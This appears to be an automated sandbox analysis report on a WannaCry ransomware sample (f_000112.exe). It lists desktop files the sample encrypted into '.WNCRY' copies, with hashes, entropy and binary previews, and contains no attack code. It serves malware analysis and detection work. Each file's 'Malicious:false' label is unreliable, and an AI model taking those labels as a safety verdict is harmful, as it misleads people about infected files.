                                                                                                                                                                              Preview:..a..I..S..3R,FBP.d..z..v2......3\.?......L.T.t|.....b9.4S.9...pK..G4.....CP......,.Q?`c.....g{..1]7......^.X......xW.J.W])..^.p....wv........y...,P....c.JJ<.A...[.2....[..H.?,..S.c..E._... ?R....\.PQ/...d....k.R.byE....a.c....9..B7.].'..&..u._.0.......3!QY..$l....N.FZ.6G.....r!..${&.%..p...6...K...m|Ox2e..E|...\......Rp<.....Q.5jA].......@.w7\a.W......py...-lW=...CH.....(..J.-.Z.`.,..w..p.C..T...va.X.hN.=5.o.#.F.....L...2.H&<.......k...Y..S.=.......&..Y....#.iBf....k...?.P.jq./&..........`@.Z.......&.....M.Es...y...K.TT>....j.DF.=8%...dP9....#.....Y..G&|lc..1....rn}.UuF...$.O7...=_X...... ..i....3....a<X%..J.k..".Q..B.F.....W2M}.V..5...WPR...UQ..<c.~..:.Uk..$.J.o{=a.g.._oG......._-~n_......e/t..P.`.\\..x....r...v.i6.CG..i<..@{P?o...e7.c......q..."<>'....b'~gR...........P.#..c.s.]..EM.....2<<o.O.[.@.'.....b....K V.h.PM..c....es3....u.3.....m.H...K#..5..ug..l..5...\.,>.N......".I.....>...jug|..T..[...V...2...E.?;.r.#......%a..r....].C.....E

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839449916928591
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVp4ZElGffTp/lIaCdDYNViIlu5ZnNMuwJ9b8y0kgtVVDrfEc3:bkVuZElGXRSrD0sIlulUB81llEO
                                                                                                                                                                              MD5:38FFCF0947AF3CAE924AF93410286370
                                                                                                                                                                              SHA1:21A9B8AB436B209971F53D939969B9BBF6215993
                                                                                                                                                                              SHA-256:1F2DA70617A1FD3A9039463FBED89238AAEE99DC2038DA224CAC8434A3FCEE10
                                                                                                                                                                              SHA-512:6D4C28A6789FE28189B6ED77E8F7BC1567A3B8E2E1B1EDD77D449F2AAD0D4CA1D6FE7F4D8F92C4751B541ECCDAD401F955AEC5105C10C9485B668CA2620FFD20
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.Q_.drj.\C1."../gn...`.....oy..O...E.2.+...).u.A..T.)..o..B.....o^.$.g\.4.\...o...\<C.>.h.. ...'..u).q...n....?%..%.,..-Q4.?..u.Gr5[C)....v...8.....2..................,2.Dq$.....&..-xu>..d..C...6.|..)E%..{.C..g..;".p..N...`..\3..N3..zW..).....iL..................(.........\.Y.c.6.......a..%...O..5[..S.5M.swe<:.e[r..LK.u(.NZ..o....'....R..N.I.W....p}.V...\..5..]5N..K..b?w.Gk..`.0K[...K.. .}"..B[PAm......$e..d....2.dH..G..,..[".X...M.j....<.^...[....4.O.lU.......;Y....4/4..u..3.... .y...79..A0..t|.G....f..w.e.P.x..S..S(.Q.. ......K..8.2...@...&.M..>b.u.Zx.Z.....?$....._.r..S..$.0........~9..j.y..n2xB>+...T..3....H.....(~..dy{.JbA.+.b.kC...`.j.V.E.=.A..9..%...+&A.x.G...0.....D......~.b.W..|..k.2.........{...%..I"...je."...t..[.U..l.3...C>g...t.*.3..+..HM.#e.W.yg......|..3G..:.e.(r-......4QK.....L9.._L^.o.=W.T(0%$.Q..}....u...%.F..epm.d..X..7H$.c.5~.....~.;..Cld....A.N^iS.....rG.x....w.l....j8'.T..1.3.v....Eh....\WM.....rR?&.)...+'r.p.

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.839449916928591
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVp4ZElGffTp/lIaCdDYNViIlu5ZnNMuwJ9b8y0kgtVVDrfEc3:bkVuZElGXRSrD0sIlulUB81llEO
                                                                                                                                                                              MD5:38FFCF0947AF3CAE924AF93410286370
                                                                                                                                                                              SHA1:21A9B8AB436B209971F53D939969B9BBF6215993
                                                                                                                                                                              SHA-256:1F2DA70617A1FD3A9039463FBED89238AAEE99DC2038DA224CAC8434A3FCEE10
                                                                                                                                                                              SHA-512:6D4C28A6789FE28189B6ED77E8F7BC1567A3B8E2E1B1EDD77D449F2AAD0D4CA1D6FE7F4D8F92C4751B541ECCDAD401F955AEC5105C10C9485B668CA2620FFD20
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....1.Q_.drj.\C1."../gn...`.....oy..O...E.2.+...).u.A..T.)..o..B.....o^.$.g\.4.\...o...\<C.>.h.. ...'..u).q...n....?%..%.,..-Q4.?..u.Gr5[C)....v...8.....2..................,2.Dq$.....&..-xu>..d..C...6.|..)E%..{.C..g..;".p..N...`..\3..N3..zW..).....iL..................(.........\.Y.c.6.......a..%...O..5[..S.5M.swe<:.e[r..LK.u(.NZ..o....'....R..N.I.W....p}.V...\..5..]5N..K..b?w.Gk..`.0K[...K.. .}"..B[PAm......$e..d....2.dH..G..,..[".X...M.j....<.^...[....4.O.lU.......;Y....4/4..u..3.... .y...79..A0..t|.G....f..w.e.P.x..S..S(.Q.. ......K..8.2...@...&.M..>b.u.Zx.Z.....?$....._.r..S..$.0........~9..j.y..n2xB>+...T..3....H.....(~..dy{.JbA.+.b.kC...`.j.V.E.=.A..9..%...+&A.x.G...0.....D......~.b.W..|..k.2.........{...%..I"...je."...t..[.U..l.3...C>g...t.*.3..+..HM.#e.W.yg......|..3G..:.e.(r-......4QK.....L9.._L^.o.=W.T(0%$.Q..}....u...%.F..epm.d..X..7H$.c.5~.....~.;..Cld....A.N^iS.....rG.x....w.l....j8'.T..1.3.v....Eh....\WM.....rR?&.)...+'r.p.

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.806910051343698
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:kce1KcLetmb3tvm5QucO2nT2Dv0FCOeYL3OAwdIIMIoPqQa:gxLLb35m5EOMT2hY7OAytMVha
                                                                                                                                                                              MD5:A4C0F4764AAAD25A985873470DF3AFBE
                                                                                                                                                                              SHA1:66BC29F8BECE04C7B76979FFE20D4E658B916B7D
                                                                                                                                                                              SHA-256:8F30802124C3E0CD00AFA1C6F16FD3F6351EDB91D60D1E37CD47036960534CC5
                                                                                                                                                                              SHA-512:62A23E8266EEFB813534A837EBCA8E1786189B421D9AF44E692106F9AD191DA4EDE9ADBF5A6F3886E3DC48B61B04C4D5134BF2D0DF72F91F389247C66016538D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:m...^.N.....k..%Mc...W...3.}.h./".k..........+.vG.G...?..Io..f.W.......Te~..i......Ii..Gm................3u,.......h..I..X.:.[..?...I.(zL.}.C.8i.M.T.{.L.)B....'.3yB.aQ'....Y.'...#.w...sE..E.......t......vL.S.........j...MV>..".]...vX8Mw..Y.UW@+,...P.CQU ..;...G.4...".9.-r..V.....S.."./...5.U.x}.....nY......r.....\{.;...OG.~Xg.h.....KpX.E...j.w%..._...0.<.c...<O.. ....e../....rk%.Ul.O%.<.x}.u..L.W..w....Y..A..t....i.o.uD....*..G...B..43.^S...;{O..>....u....../:?.%L\..p*...u.d.0..L..D56...a.WY.eO=w%..1..m.5.C~...&.L._?.].U....@.o..O.s....5..ls3.O.....2c..J...}.D....."........o.S+n..>.O._..rop.[L~.......$_.bp..e..BZ..]....M..YX...`......+.....<...,R#....?.s.-....j..+.9R.]......Q..j.r.K.i...h.....N..T...3hcQ....1.o..%.H.....{8#.".e....Pu.^.e.?....p.[...A....8.1..[%.9..# ..-.......P....y..z......O....z3..j..=.J.\E..r-z3..4...T3./l....:.P0@.^...\.N.IS.b!..M.....Y....2.=...4........|X.\..S......._.'..#...x@.b.w..)E}H..J.D.k80b.9...0<nv.......=.|.1qH...k

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.832425922279834
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bky8ou/q5jFuHZHqf6T8XNq6H1gy++pXpKIHym0VPliW9qmWEdPobt:bky8A5jFuHcCAXNpH1pjHqVPsFNEdAbt
                                                                                                                                                                              MD5:0E76640AE8951C0C702391A6D72ACFFD
                                                                                                                                                                              SHA1:141813681E7839FE5FBA6F9F7DFA722EB090DE9B
                                                                                                                                                                              SHA-256:0A87C5C12E76F10598372C6569AFD75BA642E7AE671D0B779EA46AD42D3584EC
                                                                                                                                                                              SHA-512:15756F3C237BF9B4B61034EFC07E0812EEF07F92BF31B20431420FB9A0F302D7A18662679BAFC652D6CD016B5C547726D42CE4FC185E60B87F458DD034747688
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....z...4.........7........w.. ...H..!...:..o..I.fr..$]q.Cn^....`..m}s...l..G.......@s..p..Y..=.{..B;.........Kh.\..|.....(Q.e....9....~vb..~.#Pd........8.D..? ...X.........^.6..`.0........1}l..W...F..I+lh...q[*T..z5N.....<.p..8,...c/.$..0.*..qHn...................;&.....@@.B..h.}.F.f.}2.l#g...#.Y..H..m0...o...T.1 |.I!F8si..i...e-.b...cW....m5.(.Y&Ei.2...S@.F.b......!..X3.....`.....j.....uF........:N.........uT..L.F..*.....<..-j.^.k.k{w...<z8...........![S....(.....`@.. .h~.i..}.]...vC.M...j.m<.s/.....~"`X.>..`.C......o.8b....n..Ek6+....#..g..%$.....A..g...3|.HA.H...,..X.>eS...2y..a,$.'z.N...G&.#..`\M;..|..VF)..ue/.'.}......) ...8..]......P(..G..j......j.A]f..;....6s.emV..$yUZq...x.k.MG.&..t[.....#.X./.s..[......!.a...0..^...D....i.-...V. .QB....F....H....v.6.>....r....+A. ^.O).d.S.W$.D..n...NX....|Rxo.=..!...P.8K.l..../g..|.5Zg.X.. R+rz.:......9.[..C..V..#.p.CW.t'fhV.N..W.bI...U...+x.6.y..6..x.1+.&\...P.Mc,.La.W.$...r.2.)Mj.6.V..B..k.$o... ...

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.832425922279834
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bky8ou/q5jFuHZHqf6T8XNq6H1gy++pXpKIHym0VPliW9qmWEdPobt:bky8A5jFuHcCAXNpH1pjHqVPsFNEdAbt
                                                                                                                                                                              MD5:0E76640AE8951C0C702391A6D72ACFFD
                                                                                                                                                                              SHA1:141813681E7839FE5FBA6F9F7DFA722EB090DE9B
                                                                                                                                                                              SHA-256:0A87C5C12E76F10598372C6569AFD75BA642E7AE671D0B779EA46AD42D3584EC
                                                                                                                                                                              SHA-512:15756F3C237BF9B4B61034EFC07E0812EEF07F92BF31B20431420FB9A0F302D7A18662679BAFC652D6CD016B5C547726D42CE4FC185E60B87F458DD034747688
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....z...4.........7........w.. ...H..!...:..o..I.fr..$]q.Cn^....`..m}s...l..G.......@s..p..Y..=.{..B;.........Kh.\..|.....(Q.e....9....~vb..~.#Pd........8.D..? ...X.........^.6..`.0........1}l..W...F..I+lh...q[*T..z5N.....<.p..8,...c/.$..0.*..qHn...................;&.....@@.B..h.}.F.f.}2.l#g...#.Y..H..m0...o...T.1 |.I!F8si..i...e-.b...cW....m5.(.Y&Ei.2...S@.F.b......!..X3.....`.....j.....uF........:N.........uT..L.F..*.....<..-j.^.k.k{w...<z8...........![S....(.....`@.. .h~.i..}.]...vC.M...j.m<.s/.....~"`X.>..`.C......o.8b....n..Ek6+....#..g..%$.....A..g...3|.HA.H...,..X.>eS...2y..a,$.'z.N...G&.#..`\M;..|..VF)..ue/.'.}......) ...8..]......P(..G..j......j.A]f..;....6s.emV..$yUZq...x.k.MG.&..t[.....#.X./.s..[......!.a...0..^...D....i.-...V. .QB....F....H....v.6.>....r....+A. ^.O).d.S.W$.D..n...NX....|Rxo.=..!...P.8K.l..../g..|.5Zg.X.. R+rz.:......9.[..C..V..#.p.CW.t'fhV.N..W.bI...U...+x.6.y..6..x.1+.&\...P.Mc,.La.W.$...r.2.)Mj.6.V..B..k.$o... ...

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.7953425881472524
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:dSJxPB9P9k7N4CD3I5bxG4jzqS4RcfGkRalvcYlrl:dSzPjlC7Y59R/94oGkRgvrrl
                                                                                                                                                                              MD5:BE284975D5C4470FB8FBCF013B9BD8E8
                                                                                                                                                                              SHA1:191F8B25C493A936896F4A31BC78543ED7089EF3
                                                                                                                                                                              SHA-256:A8E2C937F4AF1F6088FE46F47CF17B7DD95FBA1E3801832E95E8C4E07060DC61
                                                                                                                                                                              SHA-512:FB82D2D134C90F342BBE1F49CC13172B05F87E3B5A834481E52DABF8EC75923B136441FE38EDC0ACBBD7F0238811F0C53A420BA92375E176F1C8B0DC356645C4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.'.......;:e...X.6GH=#m..{..R:.....".8.9P.b....3p.b.?{..........$.2g.!.C..XL..u...F.o..D.}...>....D..y#9E.V.$/..9..,...db+...$.&gK....@o..6.-....*.Qd.j\..($.3..*7......p.&.(@..d(..:..y.2..Q......P..V]r6..~.!....-.:.V]e.w4s=.......E..0/...=.. y.G/1PhA...W.....E..Sy..B.....6V...{.>.vtm..I.....l......}_.......i..r.a.C.+.i^O.i=m7.z.h......<......<`n.%...\....`......|*..9.<.KD.FB._...V.e%...H..):.p.R..:.}n8^..t.]...!.UO..tC..........E...0....bE.j.....h......m.....T.7S.'.W....~nA...co8T6...[.2..1ie..&...g![..W...w.`".KI....|...R..A..l....b#...uo...z...............n.J..KnH{K..N......*..B.]cCP....%`3...<+..m..P.5~.x...f.....n..g/.....o...>..P....@.l.H.<.".JB..G..n.Eg/s..V|E2a...]....PX_!.P..[L.GC..W7....% .7...o.r.R...9.93X..[..[BS..:..*...Um...5.V.YTAT..W.)..i&.^..`~...=#b......\b...iJ.....B....%Y..p.(..5.....u6C.c...gQc...VY...i..z|.u...o+....y.W.E.YK...q.\....i..7..8.(.b.7+9Z,.Y...>yS.....Q..&(xC......}.?.Z.JM.l.Xa....?I.g...W..9....Z/%''.w..

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841642656359534
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwOt9j4sAjywNwPU318vmeoc4v8SI+1OjzG1QbYsN38FjcgMNi00aYLf5ZqhSJ9:bkwupFAjyin+m0VQUaXsN38Fjc9X03fp
                                                                                                                                                                              MD5:208C0A12D684F927C3AAE15F40875866
                                                                                                                                                                              SHA1:5CF8B704B5EDF3A46D34950E59BBA49A28FE2479
                                                                                                                                                                              SHA-256:FEB649AA113428098A5E1EA4A7C8A74D0B8100B392C81F65EECDAC276BA23868
                                                                                                                                                                              SHA-512:DCF35A89A586416DB43D0BA4B633E68245FB745000397A1DFC1AD814EA47289B1233493ED499C173B463ABA263C0301218B8DD8717356321F77911C3684E4C8E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........x.-.`.<^BY.].`................Fc. #.2.ul..w..F.G...L."h.Fd.F.P...F...../..zU.rE..B.........>,.7B.......N-.$...3._\....._....vF.26K.T.H{.k.}k.z...t...B...L_..0Y....b....I.D.MX......NOm...p.U...+a|%6....@77...CA}j;$.Y....4...3.....Q"Z^...Z.............0.....(.2....hZ3\~...Y..ky0..........L)...C.1....f...&.. .R..P.T.$8.L<o..D..G..5C0....%%Y..Y.0N...$.........w.....Dm....W/.....i..<c..'.e......U_.......A...!e..N.....k0,....S..a T......WR.....Hf....=....*.g...G4Av...dP;..g@.....4...c.J)7_.M.;.n...;..g6.n..mQC.u....-p...g.V.69...$.....P.z;Fr.V..3.V.'`...R..q...Z...w..H#.KE......r...../.)P........g..:K.....%..0c.B[..d.......|.%.n..M.%.....c.....)..4...jM.:.0H........F<...J.-.:.....T..8.'..U.Q.1`.....K.[..y..[.k../mp'+..2...]r.`s...zW..\1.8.R.i.RK.;..>.W.Z.o....9G..CK..4...Dv.....~..$}.C.B.x...y...y...s...\..>^x.r.%fW .....U. ...v.........Yd[.].0$.kcj].....X..a..,.......y.....L.4....c.z..p.....f....zYG......zk1..{.n.L....

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.841642656359534
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkwOt9j4sAjywNwPU318vmeoc4v8SI+1OjzG1QbYsN38FjcgMNi00aYLf5ZqhSJ9:bkwupFAjyin+m0VQUaXsN38Fjc9X03fp
                                                                                                                                                                              MD5:208C0A12D684F927C3AAE15F40875866
                                                                                                                                                                              SHA1:5CF8B704B5EDF3A46D34950E59BBA49A28FE2479
                                                                                                                                                                              SHA-256:FEB649AA113428098A5E1EA4A7C8A74D0B8100B392C81F65EECDAC276BA23868
                                                                                                                                                                              SHA-512:DCF35A89A586416DB43D0BA4B633E68245FB745000397A1DFC1AD814EA47289B1233493ED499C173B463ABA263C0301218B8DD8717356321F77911C3684E4C8E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........x.-.`.<^BY.].`................Fc. #.2.ul..w..F.G...L."h.Fd.F.P...F...../..zU.rE..B.........>,.7B.......N-.$...3._\....._....vF.26K.T.H{.k.}k.z...t...B...L_..0Y....b....I.D.MX......NOm...p.U...+a|%6....@77...CA}j;$.Y....4...3.....Q"Z^...Z.............0.....(.2....hZ3\~...Y..ky0..........L)...C.1....f...&.. .R..P.T.$8.L<o..D..G..5C0....%%Y..Y.0N...$.........w.....Dm....W/.....i..<c..'.e......U_.......A...!e..N.....k0,....S..a T......WR.....Hf....=....*.g...G4Av...dP;..g@.....4...c.J)7_.M.;.n...;..g6.n..mQC.u....-p...g.V.69...$.....P.z;Fr.V..3.V.'`...R..q...Z...w..H#.KE......r...../.)P........g..:K.....%..0c.B[..d.......|.%.n..M.%.....c.....)..4...jM.:.0H........F<...J.-.:.....T..8.'..U.Q.1`.....K.[..y..[.k../mp'+..2...]r.`s...zW..\1.8.R.i.RK.;..>.W.Z.o....9G..CK..4...Dv.....~..$}.C.B.x...y...y...s...\..>^x.r.%fW .....U. ...v.........Yd[.].0$.kcj].....X..a..,.......y.....L.4....c.z..p.....f....zYG......zk1..{.n.L....

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.7753459050544835
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:9voyLyNb0IaxadpoKA71Pp+3NTXCViWF8yL5VPZgE2OIuPzlStdKWKL:9v2Nb0xkG7p09miu8yXPZ3ZPzlaI
                                                                                                                                                                              MD5:1542208B75170866A407BA4B2D5119AD
                                                                                                                                                                              SHA1:76028999D60152FA96D5265B4086F196089ABB68
                                                                                                                                                                              SHA-256:4D7B0DF893F342B6FC20D47C62482F83CCB01F14EA64D8E96529F9E9BD52E45E
                                                                                                                                                                              SHA-512:A2F64DE9FF2DACEC60B05C263EA3910CB5BFD0DD8A0B06554B1B3CF07C68EFD9F2114E48811B06045432930D304EA53BAB18DDBC9DE7DCA9F6A691E3BF4503EB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:W..[.fUP..5.u..Vi.BxE..QK..Y....TSP....6. .5Xr.....&..".3.....x....#.(};...t.d.2....l.....I/.i.B<HzH...!z.`$.T..K8l.......t.z.>....>*q.?.=W....'.O..li.G.cl..h..|..19o......v\KAP.#.sy.h<.Xp......-.}...UH.?..*.......t.....n..........=.,.....<.L...\.#......t.m.J..E.@...z..t......*,....?V....Qx.|!..&L..{SUx.d.....P.N..osa.?.F.<m3....wm:W..8.MC.P.y...t./.C.b.}Y`&.k..v..:N.........2.[..h-.V.EPC.R....r?..k$4.;.....53....P.T..-~.].|[}....n.E&.,.O..z..^j.2J\x."[..MP5.LZ.o....F.3.O......QO8...A@}....wM.P2....v....5.......Bh....2...q`./t.~.wF%.C....f....?...%....i+K...a.......#.H....~...G/,.6..=..#...:....U....-..{1...iQi..%....b.e..=..&.<."jA{e[....F.tk..<.@_._.;oV>._X.Q...89...g.....[.T5G...kX...K..C8......%.t.j..0.._<..qo..d5.M.j.......1.....w..mdb<U.`.68..v......t0A.M..F....\@..f.w..d..a...H.|w@.&.C.y.......b.X:.l].I...\.&I.dL&.?v.n.q.n...].....wA.yN.bE.+..s.kM.q.9...E.xpr.t.7...]T.)}.e....C|...H..%..U.j....tK.&..;A....Ie....C..`.(..7.$....q.$vAwk.oj

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844575194107146
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkoaznBHQqSnCIbDZ1kyW+VUtJuQIKXteRB0GVUIqG/VgFs:bkzzRQrnCIXZ18H7uCteRGIrEs
                                                                                                                                                                              MD5:ABD5E10EE4059AAD16AEE49E8B9F9B95
                                                                                                                                                                              SHA1:B582CFC297DA995605B2E971C8299F73BE5CDFB3
                                                                                                                                                                              SHA-256:3C25A4F5AA2B7A4DE63045D3123636C26F9043399234CFF12DDDBFD5B0563603
                                                                                                                                                                              SHA-512:8BDCE7332ABE249BB0C2773EDFA305448F86DA4788C38A72C890957894B5881F110794912BAF06CE92CAEEBCCF925A5A6D45A400B7B2B116DA58F74701EE93F2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....|.t.>...gc7&.<.z....39..a....[...S..^.{.X%.2?....~r..k(..Mcd-L.O..a2.Qe2...h...Wm.X.b{...z.=$].b...]..&D...pC'.*....b"(.rxS.[B.."...f...(.....f.....Q..M..h.......aJ......C.(... ..B.....7..4/..{,....N)...V ...V..8O.s..hs.V4.9.=....g.t..+.8...".~6..c............u...f.O....]....z.m.6|n7.J..a.....ZZ}.0.l...J)7...h.hU!.G..........P....{6.E,..a4..3,)kY.ku.....`<.h..0...)I8.0.AS.V{....HSg...o?.R......M......+....y+.v....(..........-.y..6.3{\V.....<..~..5..k....S7.Q.V5...o...l%<...}.m....|H.ZNG.....{....../..kZ...h .oL~.=..........y....T4...r=...L.|(Z..[...(L.:......A...].......;7C/).t...........y.I.Zj...tG..a.h3..pwo...:.SL.!).y..Q.$....0..j4v..W..NF.....2....y.....T.a.,l.>`.x....X}9F..k...:+H.G........Y....ZWQ...`P.a+..1o..tA.t_.T%...{e..@.K(.%..?....o.LUr..P...y..7.u.[_......U..Y7....Y....>.G...TH.w.af..t..!..db.L.V..D.....H8...._h...D.3.k*..1.m....Fq...i2+.z.....Qvs...I.T..g.k,W.B.2..09~-.H.F..........t-A6Ic....Ur.*.Aj%2.5..a..A:w."k....

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.844575194107146
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkoaznBHQqSnCIbDZ1kyW+VUtJuQIKXteRB0GVUIqG/VgFs:bkzzRQrnCIXZ18H7uCteRGIrEs
                                                                                                                                                                              MD5:ABD5E10EE4059AAD16AEE49E8B9F9B95
                                                                                                                                                                              SHA1:B582CFC297DA995605B2E971C8299F73BE5CDFB3
                                                                                                                                                                              SHA-256:3C25A4F5AA2B7A4DE63045D3123636C26F9043399234CFF12DDDBFD5B0563603
                                                                                                                                                                              SHA-512:8BDCE7332ABE249BB0C2773EDFA305448F86DA4788C38A72C890957894B5881F110794912BAF06CE92CAEEBCCF925A5A6D45A400B7B2B116DA58F74701EE93F2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....|.t.>...gc7&.<.z....39..a....[...S..^.{.X%.2?....~r..k(..Mcd-L.O..a2.Qe2...h...Wm.X.b{...z.=$].b...]..&D...pC'.*....b"(.rxS.[B.."...f...(.....f.....Q..M..h.......aJ......C.(... ..B.....7..4/..{,....N)...V ...V..8O.s..hs.V4.9.=....g.t..+.8...".~6..c............u...f.O....]....z.m.6|n7.J..a.....ZZ}.0.l...J)7...h.hU!.G..........P....{6.E,..a4..3,)kY.ku.....`<.h..0...)I8.0.AS.V{....HSg...o?.R......M......+....y+.v....(..........-.y..6.3{\V.....<..~..5..k....S7.Q.V5...o...l%<...}.m....|H.ZNG.....{....../..kZ...h .oL~.=..........y....T4...r=...L.|(Z..[...(L.:......A...].......;7C/).t...........y.I.Zj...tG..a.h3..pwo...:.SL.!).y..Q.$....0..j4v..W..NF.....2....y.....T.a.,l.>`.x....X}9F..k...:+H.G........Y....ZWQ...`P.a+..1o..tA.t_.T%...{e..@.K(.%..?....o.LUr..P...y..7.u.[_......U..Y7....Y....>.G...TH.w.af..t..!..db.L.V..D.....H8...._h...D.3.k*..1.m....Fq...i2+.z.....Qvs...I.T..g.k,W.B.2..09~-.H.F..........t-A6Ic....Ur.*.Aj%2.5..a..A:w."k....

                                                                                                                                                                              C:\Users\user\Desktop\CZQKSDDMWR.mp3

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.832547153027408
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:DdDoweOPLuWHH/wX0eYb0FzRjqcdf9iFOlQs1BgS2YFFZs:xDokTuW4XDYaRzT2Vs1OS23
                                                                                                                                                                              MD5:F84949729AF40BDF349D78F40BA466C1
                                                                                                                                                                              SHA1:C0749844B6E6AB7328A951DD19EE7B9B35C38C9A
                                                                                                                                                                              SHA-256:DD2B6D23E404DFC839B17086F8EE89EBF9089587CE5B52C1E814CAFF9255C31A
                                                                                                                                                                              SHA-512:3B3B488CFC6E017054F1FE911D6E6C0AF11EE8454B0CA3730EDA5C1932D982BED8A5B1BB41FB6C7E44140C715B2BC174EC827235D0C2CD36F36C15A7273028FC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
